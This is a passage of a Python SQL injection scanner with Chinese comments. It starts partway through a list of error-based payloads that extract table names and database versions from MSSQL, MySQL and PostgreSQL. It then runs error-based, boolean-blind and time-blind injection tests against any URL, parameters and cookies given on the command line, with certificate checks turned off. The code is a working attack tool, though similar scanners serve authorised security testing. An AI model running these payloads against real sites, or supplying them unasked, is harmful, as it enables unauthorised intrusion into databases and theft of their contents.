"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -",
"MSSQL error",
),
(
"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -",
"MySQL error",
),
("' AND 1=CAST((SELECT version()) AS INT)-- -", "PostgreSQL error"),
]
def print_result(self, level: str, msg: str):
colors = {
"INFO": Colors.BLUE,
"SUCCESS": Colors.GREEN,
"WARNING": Colors.YELLOW,
"ERROR": Colors.RED,
"VULN": Colors.RED + Colors.BOLD,
}
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
def test_error_based(
self,
url: str,
param: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
) -> Tuple[bool, Optional[str]]:
"""测试报错注入"""
original_resp = self._request(url, method, data, cookies)
if not original_resp:
return False, None
original_len = len(original_resp.text)
for payload, desc in self.error_payloads:
test_data = data.copy() if data else {}
test_data[param] = payload
resp = self._request(url, method, test_data, cookies)
if not resp:
continue
for pattern in self.error_patterns:
if re.search(pattern, resp.text, re.IGNORECASE):
return (
True,
f"[报错注入] {param} - Payload: {payload} - 类型: {desc} - 匹配: {pattern}",
)
if abs(len(resp.text) - original_len) > 500:
return (
True,
f"[报错注入] {param} - Payload: {payload} - 响应长度差异: {abs(len(resp.text) - original_len)}",
)
return False, None
def test_time_based(
self,
url: str,
param: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
) -> Tuple[bool, Optional[str]]:
"""测试时间盲注"""
for payload, db_type in self.time_payloads:
test_data = data.copy() if data else {}
test_data[param] = payload
start_time = time.time()
resp = self._request(url, method, test_data, cookies, timeout=15)
elapsed = time.time() - start_time
if elapsed >= 4.5:
return (
True,
f"[时间盲注] {param} - Payload: {payload} - 数据库: {db_type} - 延迟: {elapsed:.2f}s",
)
return False, None
def test_bool_based(
self,
url: str,
param: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
) -> Tuple[bool, Optional[str]]:
"""测试布尔盲注"""
for true_payload, false_payload, desc in self.bool_payloads:
test_data_true = data.copy() if data else {}
test_data_true[param] = true_payload
test_data_false = data.copy() if data else {}
test_data_false[param] = false_payload
resp_true = self._request(url, method, test_data_true, cookies)
resp_false = self._request(url, method, test_data_false, cookies)
if not resp_true or not resp_false:
continue
diff = abs(len(resp_true.text) - len(resp_false.text))
if diff > 100:
return (
True,
f"[布尔盲注] {param} - True: {true_payload} - False: {false_payload} - 长度差: {diff}",
)
true_text = resp_true.text.lower()
false_text = resp_false.text.lower()
if (
"success" in true_text or "welcome" in true_text or "admin" in true_text
) and (
"error" in false_text or "fail" in false_text or "wrong" in false_text
):
return True, f"[布尔盲注] {param} - 关键词差异检测到 - {desc}"
return False, None
def _request(
self,
url: str,
method: str,
data: Dict = None,
cookies: Dict = None,
timeout: int = None,
) -> Optional[requests.Response]:
"""发送HTTP请求"""
try:
if method.upper() == "GET":
params = urllib.parse.urlencode(data) if data else ""
full_url = f"{url}?{params}" if params else url
return self.session.get(
full_url,
cookies=cookies,
timeout=timeout or self.timeout,
verify=False,
)
else:
return self.session.post(
url,
data=data,
cookies=cookies,
timeout=timeout or self.timeout,
verify=False,
)
except requests.exceptions.RequestException as e:
return None
def scan_url(
self,
url: str,
method: str = "GET",
data: Dict = None,
cookies: Dict = None,
params: List[str] = None,
) -> List[str]:
"""扫描URL"""
results = []
if not params:
if method == "GET":
parsed = urllib.parse.urlparse(url)
params = list(urllib.parse.parse_qs(parsed.query).keys())
else:
params = list(data.keys()) if data else []
if not params:
self.print_result("WARNING", f"未找到可测试的参数")
return results
self.print_result("INFO", f"开始扫描 {len(params)} 个参数: {', '.join(params)}")
for param in params:
self.print_result("INFO", f"测试参数: {param}")
vuln, msg = self.test_error_based(url, param, method, data, cookies)
if vuln:
results.append(msg)
self.print_result("VULN", msg)
continue
vuln, msg = self.test_bool_based(url, param, method, data, cookies)
if vuln:
results.append(msg)
self.print_result("VULN", msg)
continue
vuln, msg = self.test_time_based(url, param, method, data, cookies)
if vuln:
results.append(msg)
self.print_result("VULN", msg)
return results
def main():
parser = argparse.ArgumentParser(description="SQL Injection Scanner")
parser.add_argument("-u", "--url", required=True, help="目标URL")
parser.add_argument(
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
)
parser.add_argument("-d", "--data", help="POST数据 (格式: id=1&name=test)")
parser.add_argument("-c", "--cookie", help="Cookie")
parser.add_argument("-p", "--params", help="指定参数 (逗号分隔)")
parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
args = parser.parse_args()
requests.packages.urllib3.disable_warnings()
scanner = SQLiScanner(timeout=args.timeout, threads=args.threads)
data = {}
if args.data:
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
data[k] = v
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
params = args.params.split(",") if args.params else None
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
print(f"{Colors.BOLD}SQL Injection Scanner{Colors.END}")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
scanner.print_result("INFO", f"目标: {args.url}")
scanner.print_result("INFO", f"方法: {args.method}")
results = scanner.scan_url(args.url, args.method, data, cookies, params)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
if results:
scanner.print_result("SUCCESS", f"发现 {len(results)} 个SQL注入漏洞!")
for r in results:
print(f" - {r}")
else:
scanner.print_result("INFO", "未发现SQL注入漏洞")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if __name__ == "__main__":
main()